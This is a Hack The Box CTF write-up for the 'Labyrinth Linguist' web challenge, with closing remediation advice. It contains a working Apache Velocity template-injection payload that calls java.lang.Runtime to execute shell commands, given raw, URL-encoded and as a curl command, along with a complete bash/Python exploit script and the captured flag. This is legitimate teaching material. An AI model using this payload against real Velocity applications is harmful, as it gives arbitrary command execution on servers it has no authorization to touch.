Event: Hack The Box CTF Event 1434
Challenge Name: Labyrinth Linguist
Category: Web / Server-Side Template Injection (SSTI)
Difficulty: Medium
Technique: Apache Velocity SSTI → Java Runtime command execution
You and your faction find yourselves cornered in a refuge corridor inside a maze while being chased by a KORP mutant exterminator. While planning your next move you come across a translator device left by previous Fray competitors. It is used for translating English to Voxalith, an ancient language spoken by the civilization that originally built the maze. It is known that Voxalith was also spoken by the guardians of the maze that were once benign but then were turned against humans by a corrupting agent KORP devised. You need to reverse engineer the device in order to make contact with the mutant and claim your last chance to make it out alive.
The scenario sets a dystopian mood: a translator device that converts English to Voxalith – but the device is vulnerable to a template injection attack. Instead of translating harmless sentences, we can inject malicious Apache Velocity code and force the server to execute operating system commands. The goal is to retrieve the flag (/flag.txt) and escape the maze.
The target is a web application listening on a given IP and port. In the actual CTF, the instance was reachable at:
http://154.57.164.73:31166/
Visiting the URL (or sending a GET request) presents a simple input form:
- A text area labelled “English phrase”
- A submit button labelled “Translate to Voxalith”
The application accepts a POST request to the root endpoint (/) with a parameter text. The server then processes the input and returns a translation – but under the hood it uses Apache Velocity as a template engine.
Submitting a benign English phrase like "Hello" returns something like:
Voxalith translation: [some placeholder or transformed text]
However, submitting a Velocity template expression such as #set($x=2+2) $x did not behave like a normal translator – instead the expression was evaluated. This hinted at a Server-Side Template Injection (SSTI) vulnerability in the Velocity templating engine.
Velocity is a Java-based template engine that allows directives like #set, #if, #foreach, and direct method calls on Java objects. If user input is concatenated directly into a Velocity template without proper sanitisation, an attacker can execute arbitrary Java code on the server.
Velocity templates are processed by the VelocityEngine. A typical vulnerable code pattern might look like:
VelocityContext context = new VelocityContext();
StringWriter writer = new StringWriter();
String templateString = "Voxalith: " + userInput; // UNSAFE!
Velocity.evaluate(context, writer, "LOG", templateString);Because userInput is embedded verbatim, an attacker can inject directives. For example:
#set($x="Hello") $x
becomes part of the template and is executed.
The proof-of-concept payload used in the exploit script is:
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime').getRuntime())
#set($p=$rt.exec('cat /flag.txt'))
#set($sc=$x.class.forName('java.util.Scanner')
.getConstructor($x.class.forName('java.io.InputStream'))
.newInstance($p.getInputStream())
.useDelimiter('\\A'))
$sc.next()Step-by-step breakdown:
#set($x='')– creates an empty string variable. In Velocity,$x.classgives access to theStringclass (since$xis a string).$x.class.forName('java.lang.Runtime')– loads theRuntimeclass..getRuntime()– obtains the staticRuntimeinstance.$rt.exec('cat /flag.txt')– executes the command and returns aProcessobject.- Next, a
Scanneris instantiated using$x.class.forName('java.util.Scanner'). The constructor is retrieved for the signature that accepts anInputStream. newInstance($p.getInputStream())– reads the standard output of the spawned process..useDelimiter('\\A')– sets the delimiter to the beginning of the input, effectively reading the entire output as one token.$sc.next()– prints the entire flag.
When the server evaluates this template, the command cat /flag.txt is executed and its output is returned in the HTTP response.
Although the provided PoC script automates everything, here is how you would manually exploit the vulnerability:
-
Intercept the POST request (using Burp Suite or
curl).
The request looks like:POST / HTTP/1.1 Host: 154.57.164.73:31166 Content-Type: application/x-www-form-urlencoded Content-Length: ... text=Hello+world -
Replace the
textparameter with the Velocity payload. Because the payload contains special characters, it must be URL-encoded. For instance:text=%23set(%24x%3D%27%27)%0A%23set(%24rt%3D%24x.class.forName(%27java.lang.Runtime%27).getRuntime())%0A%23set(%24p%3D%24rt.exec(%27cat%20%2Fflag.txt%27))%0A%23set(%24sc%3D%24x.class.forName(%27java.util.Scanner%27).getConstructor(%24x.class.forName(%27java.io.InputStream%27)).newInstance(%24p.getInputStream()).useDelimiter(%27%5C%5CA%27))%0A%24sc.next() -
Send the request – the response will contain the flag instead of a normal translation.
Example using curl:
curl -X POST http://154.57.164.73:31166/ \
--data-urlencode 'text=#set($x="")#set($rt=$x.class.forName("java.lang.Runtime").getRuntime())#set($p=$rt.exec("cat /flag.txt"))#set($sc=$x.class.forName("java.util.Scanner").getConstructor($x.class.forName("java.io.InputStream")).newInstance($p.getInputStream()).useDelimiter("\\A"))$sc.next()'The flag appears in the response body.
The exploit script labyrinth_linguist_poc.sh is a bash wrapper that calls a Python one-liner. Key features:
- Flexible argument parsing – accepts either a full URL or separate host/port.
- Timeout and verbose options – useful for debugging.
- JSON output – for integration with other tools.
- Python POST request – constructs the Velocity payload, sends it, and extracts the flag using regex
HTB\{[^}]+\}.
When executed correctly, the output is:
[*] Target: http://154.57.164.73:31166/
[*] Submitting Velocity SSTI payload...
[+] Flag extracted successfully.
HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!_37dac9d310a5dfc5085b833cafbd93b1}
Exit codes are implemented for automation:
0– flag found1– generic failure2– invalid arguments3– connectivity error4– flag not found
The captured flag is:
HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!_37dac9d310a5dfc5085b833cafbd93b1}
#!/usr/bin/env bash
set -euo pipefail
# -----------------------------------------------------------------------------
# PoC: Hack The Box - Labyrinth Linguist
# Type: Apache Velocity SSTI -> Java Runtime command execution
#
# This script is intended for authorized CTF infrastructure only.
# -----------------------------------------------------------------------------
readonly SCRIPT_NAME="$(basename "$0")"
readonly DEFAULT_TIMEOUT=20
BASE_URL=""
HOST=""
PORT=""
TIMEOUT="${DEFAULT_TIMEOUT}"
JSON_OUTPUT=0
VERBOSE=0
usage() {
cat <<EOF
Usage:
${SCRIPT_NAME} <base_url>
${SCRIPT_NAME} <host> <port>
${SCRIPT_NAME} --base-url <url> [options]
${SCRIPT_NAME} --host <host> --port <port> [options]
Options:
--base-url <url> Target base URL (example: http://154.57.164.76:30854/)
--host <host> Target host/IP
--port <port> Target port
--timeout <seconds> Request timeout in seconds (default: ${DEFAULT_TIMEOUT})
--json Print result as JSON
--verbose Enable verbose debug output
-h, --help Show this help message
Exit codes:
0 Success (flag extracted)
1 Generic failure
2 Invalid arguments
3 Connectivity/request failure
4 Flag not found in response
EOF
}
log_info() {
if [[ "${JSON_OUTPUT}" -eq 0 ]]; then
printf '[*] %s\n' "$*" >&2
fi
}
log_debug() {
if [[ "${VERBOSE}" -eq 1 && "${JSON_OUTPUT}" -eq 0 ]]; then
printf '[D] %s\n' "$*" >&2
fi
}
log_ok() {
if [[ "${JSON_OUTPUT}" -eq 0 ]]; then
printf '[+] %s\n' "$*" >&2
fi
}
log_error() {
printf '[-] %s\n' "$*" >&2
}
parse_args() {
local positional=()
while [[ $# -gt 0 ]]; do
case "$1" in
--base-url)
BASE_URL="${2:-}"
shift 2
;;
--host)
HOST="${2:-}"
shift 2
;;
--port)
PORT="${2:-}"
shift 2
;;
--timeout)
TIMEOUT="${2:-}"
shift 2
;;
--json)
JSON_OUTPUT=1
shift
;;
--verbose)
VERBOSE=1
shift
;;
-h|--help)
usage
exit 0
;;
-*)
log_error "Unknown option: $1"
usage >&2
exit 2
;;
*)
positional+=("$1")
shift
;;
esac
done
if [[ -z "${BASE_URL}" ]]; then
if [[ ${#positional[@]} -eq 1 ]]; then
BASE_URL="${positional[0]}"
elif [[ ${#positional[@]} -ge 2 ]]; then
HOST="${positional[0]}"
PORT="${positional[1]}"
fi
fi
if [[ -z "${BASE_URL}" ]]; then
if [[ -n "${HOST}" && -n "${PORT}" ]]; then
BASE_URL="http://${HOST}:${PORT}/"
fi
fi
if [[ -z "${BASE_URL}" ]]; then
log_error "Provide either base URL or host+port."
usage >&2
exit 2
fi
}
main() {
parse_args "$@"
log_info "Target: ${BASE_URL}"
log_info "Submitting Velocity SSTI payload..."
local result
if ! result="$(python3 - "$BASE_URL" "$TIMEOUT" "$VERBOSE" <<'PY'
import re
import sys
import requests
base = sys.argv[1].rstrip("/") + "/"
timeout = float(sys.argv[2])
verbose = sys.argv[3] == "1"
payload = (
"#set($x='')"
"#set($rt=$x.class.forName('java.lang.Runtime').getRuntime())"
"#set($p=$rt.exec('cat /flag.txt'))"
"#set($sc=$x.class.forName('java.util.Scanner')"
".getConstructor($x.class.forName('java.io.InputStream'))"
".newInstance($p.getInputStream())"
".useDelimiter('\\\\A'))"
"$sc.next()"
)
try:
response = requests.post(base, data={"text": payload}, timeout=timeout)
response.raise_for_status()
except requests.RequestException as exc:
print(f"ERR_REQUEST:{exc}")
raise SystemExit(3)
if verbose:
print(f"DBG_STATUS:{response.status_code}")
print(f"DBG_URL:{response.url}")
flag = re.search(r"HTB\{[^}]+\}", response.text)
if not flag:
print("ERR_NOFLAG:Flag not found in response")
raise SystemExit(4)
print(f"OK_FLAG:{flag.group(0)}")
PY
)"; then
case "$?" in
3) log_error "Connectivity/request failure."; exit 3 ;;
4) log_error "Flag not found in response."; exit 4 ;;
*) log_error "Unexpected runtime failure."; exit 1 ;;
esac
fi
log_debug "Exploit output: ${result}"
local flag
flag="$(printf '%s\n' "${result}" | sed -n 's/^OK_FLAG://p' | tail -n 1)"
if [[ -z "${flag}" ]]; then
log_error "No flag extracted from output."
exit 4
fi
if [[ "${JSON_OUTPUT}" -eq 1 ]]; then
printf '{"target":"%s","flag":"%s"}\n' "${BASE_URL}" "${flag}"
else
log_ok "Flag extracted successfully."
printf '%s\n' "${flag}"
fi
}
main "$@"
To fix this vulnerability, the application should never embed user input directly into a template. Instead:
- Use a safe template engine or properly sandboxed expression language.
- If dynamic translation is required, pre-define safe variables and use a context object.
- Disable dangerous Velocity directives (
#set,#evaluate, etc.) via a customSecureUberspector. - Validate input against a whitelist of allowed characters (e.g., only letters and spaces for natural language).
Labyrinth Linguist was a clean demonstration of Apache Velocity SSTI leading to remote command execution. By injecting a crafted payload, we bypassed the “translation” feature and executed cat /flag.txt on the server. The challenge’s lore – a translator device corrupted by KORP – cleverly disguised a real-world web vulnerability. This writeup shows how reverse-engineering the device (i.e., understanding the template engine) allowed us to “make contact” (execute commands) and claim our escape.
